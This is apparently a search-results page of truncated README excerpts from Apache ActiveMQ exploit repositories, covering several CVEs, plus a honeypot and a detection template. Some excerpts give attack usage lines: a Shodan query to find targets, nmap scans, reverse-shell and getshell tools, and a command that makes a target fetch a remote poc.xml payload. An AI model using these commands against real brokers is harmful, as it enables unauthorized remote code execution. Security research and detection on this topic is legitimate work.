942 matches found
CVE-2026-42588
CVE-2026-42588 - Apache ActiveMQ Jolokia 远程代码执行漏洞利用 严重等级 : 🔴 高危 CVSS 4.0: 8.1 漏洞类型 : CWE-94 — 代码注入 影响版本 : Apache ActiveMQ 利用前提 : 需有 Web Console 认证凭据（默认 admin:admin） 📋 目录 漏洞概述 漏洞原理 影响版本 利用条件 文件说明 快速开始 详细使用方法 利用链全景图 验证漏洞利用成功 修复方案 临时缓解措施 FAQ 免责声明 参考链接 漏洞概述 CVE-2026-42588 是一个存在于 Apache ActiveMQ...
CVE-2016-3088
CVE-2016-3088 - Ejecución Remota de Código en Apache ActiveMQ...
honeypot.rs
honeypot.rs Honeypot que cubre CVE-2023-46604 Vulnerabilidad RCE de Apache ActiveMQ y está enfocado en obtener Indicadores de Compromiso. Este honeypot puede usarse en cualquier infraestructura de Inteligencia de Amenazas para obtener direcciones IP de atacantes, muestras de post-explotación y...
CVE-2024-21683-RCE
CVE-2024-21683-RCE 致谢 https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated 用法 root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...
cve-2023-46604
Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 es una vulnerabilidad ampliamente explotada que aparece en la lista KEV de CISA. Esta implementación de go-exploit puede ejecutar una reverse shell en los objetivos mediante un payload de Nashorn, o descargar un binario al objetivo y ejecutarlo...
CVE-2023-46604
CVE-2023-46604 Exploit para CVE-2023-46604 Esta herramienta ayuda a explotar esta vulnerabilidad. Consulta de Shodan para encontrar el objetivo: root@kitploit: product:"ActiveMQ" port:"61616" Uso de la herramienta: root@kitploit: for read targets from the file: python3 exploit.py -f targets -c...
CVE-2016-3088
Apache ActiveMQ PUT RCE 一键getshell usage:python3 CVE-2016-3088.py -u https://tartget.com/...
ActiveMQ_CVE-2015-5254
ActiveMQ反序列化（CVE-2015-5254） 漏洞描述：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本：Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本： http://IP:8161 0x02 确定61616端口开放： nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload： java...
apache-activemq-rce-research
Apache ActiveMQ Classic — RCE 研究 针对 Apache ActiveMQ Classic 中 Jolokia → addNetworkConnector → xbean/Spring-XML 远程代码执行链（CVE-2026-34197 及其补丁绕过 CVE-2026-42588 ）的私有研究存档，外加对已修复的 6.2.6 版本的全自动重审计，以及与 Crowdfense 公开的绕过文章进行的并列对比。 所有利用均在 本地实验室 Broker （Docker / 自托管）上执行。Payload 使用占位符攻击者主机。 目录...
CVE-2025-27533-Exploit-for-Apache-ActiveMQ
CVE-2025-27533-Exploit-para-Apache-ActiveMQ PoC exploit para CVE-2025-27533 , una vulnerabilidad de Denegación de Servicio DoS en Apache ActiveMQ. Esta herramienta envía paquetes OpenWire maliciosos para agotar la memoria heap de la JVM del servidor objetivo, y potencialmente provocar la caída de...
CVE-2023-46604
CVE-2023-46604 该仓库包含针对影响 Apache ActiveMQ 的 CVE-2023-46604 漏洞的利用脚本和概念验证 PoC XML 文件。该漏洞由于 OpenWire 协议中的不安全反序列化实践，允许远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可以利用此漏洞在运行 ActiveMQ 的服务器上执行任意代码。本仓库中的利用脚本自动化了向服务器发送精心构造的请求以触发该漏洞的过程。 仓库内容 exploit.py - 触发漏洞的主要 Python 利用脚本。...
Exploitation-de-la-vuln-rabilit-CVE-2015-5254-
利用CVE-2015-5254漏洞 CVE-2015-5254漏洞是Apache ActiveMQ中的一个安全缺陷，ActiveMQ是一个广泛用于应用程序间通信的开源消息服务器。该漏洞影响ActiveMQ至5.13.0版本，其根源在于对发送的JMS ObjectMessage输入数据缺乏过滤。 网络扫描： nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1 通过其下载的docker文件夹启动ActiveMQ 2015： 我们检查ActiveMQ的版本： 它是5.11.1版本 漏洞利用： 对于这个漏洞，我们将使用以下命令： root@kitploit:...
CVE-2022-39197
CVE-2022-39197 RCE POC Uso Preparar el Payload 1. Edita Line 19 con tu payload en EvilJar/src/main/java/Exploit.java 2. Construye usando el jar mvn clean compile assembly:single 3. Mueve EvilJar-1.0-jar-with-dependencies.jar desde EvilJar/target/ a la carpeta serve/ 4. Edita serve\evil.svg y...
Apache ActiveMQ 6.x < 6.1.2 - Broken Access Control
Apache ActiveMQ 6.x contains an unauthenticated API web context caused by default configuration lacking security measures in the Jetty server, letting anyone interact with broker APIs and messaging layers, exploit requires no authentication. id: CVE-2024-32114 info: name: Apache ActiveMQ 6.x 6.1....
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
项目参考 本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 exp 来重写的一个 python 版本的 exp 。 用法 root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 其中 -p 参数默认为 activeMQ 的默认端口。-x 参数注意需要加上协议的前缀。 介绍 这里附上 openwire 协议的图示就很明白了。 下面给出的是 Throwable 类型的数据包格式。...
CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ 此漏洞利用建立在 https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE 的基础工作上。我们进一步开发了该技术，利用 Metasploit 框架 https://github.com/rapid7/metasploit-framework 实现了反弹 Shell。 用法： 重要提示：请手动将 XML 文件中的 IP 地址（第 11 行的 0.0.0.0）更改为生成 payload 时的 IP 地址。如果按照以下命令操作...
CVE-2016-3088
CVE-2016-3088 Exploit de ejecución remota de código de Apache ActiveMQ Descripción La aplicación web Fileserver en Apache ActiveMQ 5.x anterior a 5.14.0 permite a atacantes remotos subir y ejecutar archivos arbitrarios mediante una petición HTTP PUT seguida de una petición HTTP MOVE. Autor...
CVE-Lab
CVE-2023-46604 实验 本实验指导如何利用 CVE-2023-46604 漏洞。 致谢 Apache ActiveMQ CVE-2023-46604 环境 本实验需要安装两台虚拟机：一台 Kali Linux 2023.4 版，一台 Ubuntu 22.04.3 LTS 版。您可以通过以下链接下载： Kali Linux 2023.4 Ubuntu 22.04.3 LTS VMware-workstation-17.5.0 for windows VMware-workstation-17.5.0 for linux 模型与系统要求 在 Kali Linux 虚拟机上： 安装...
CVE-2023-46604-ActiveMQ-RCE-pseudoshell
CVE-2023-46604 RCE Pseudo-Shell Este script aprovecha CVE-2023046604 Apache ActiveMQ para generar un pseudo shell. La vulnerabilidad permite la ejecución remota de código debido a una deserialización insegura dentro del protocolo OpenWire. Descripción CVE-2023-46604 es una vulnerabilidad de...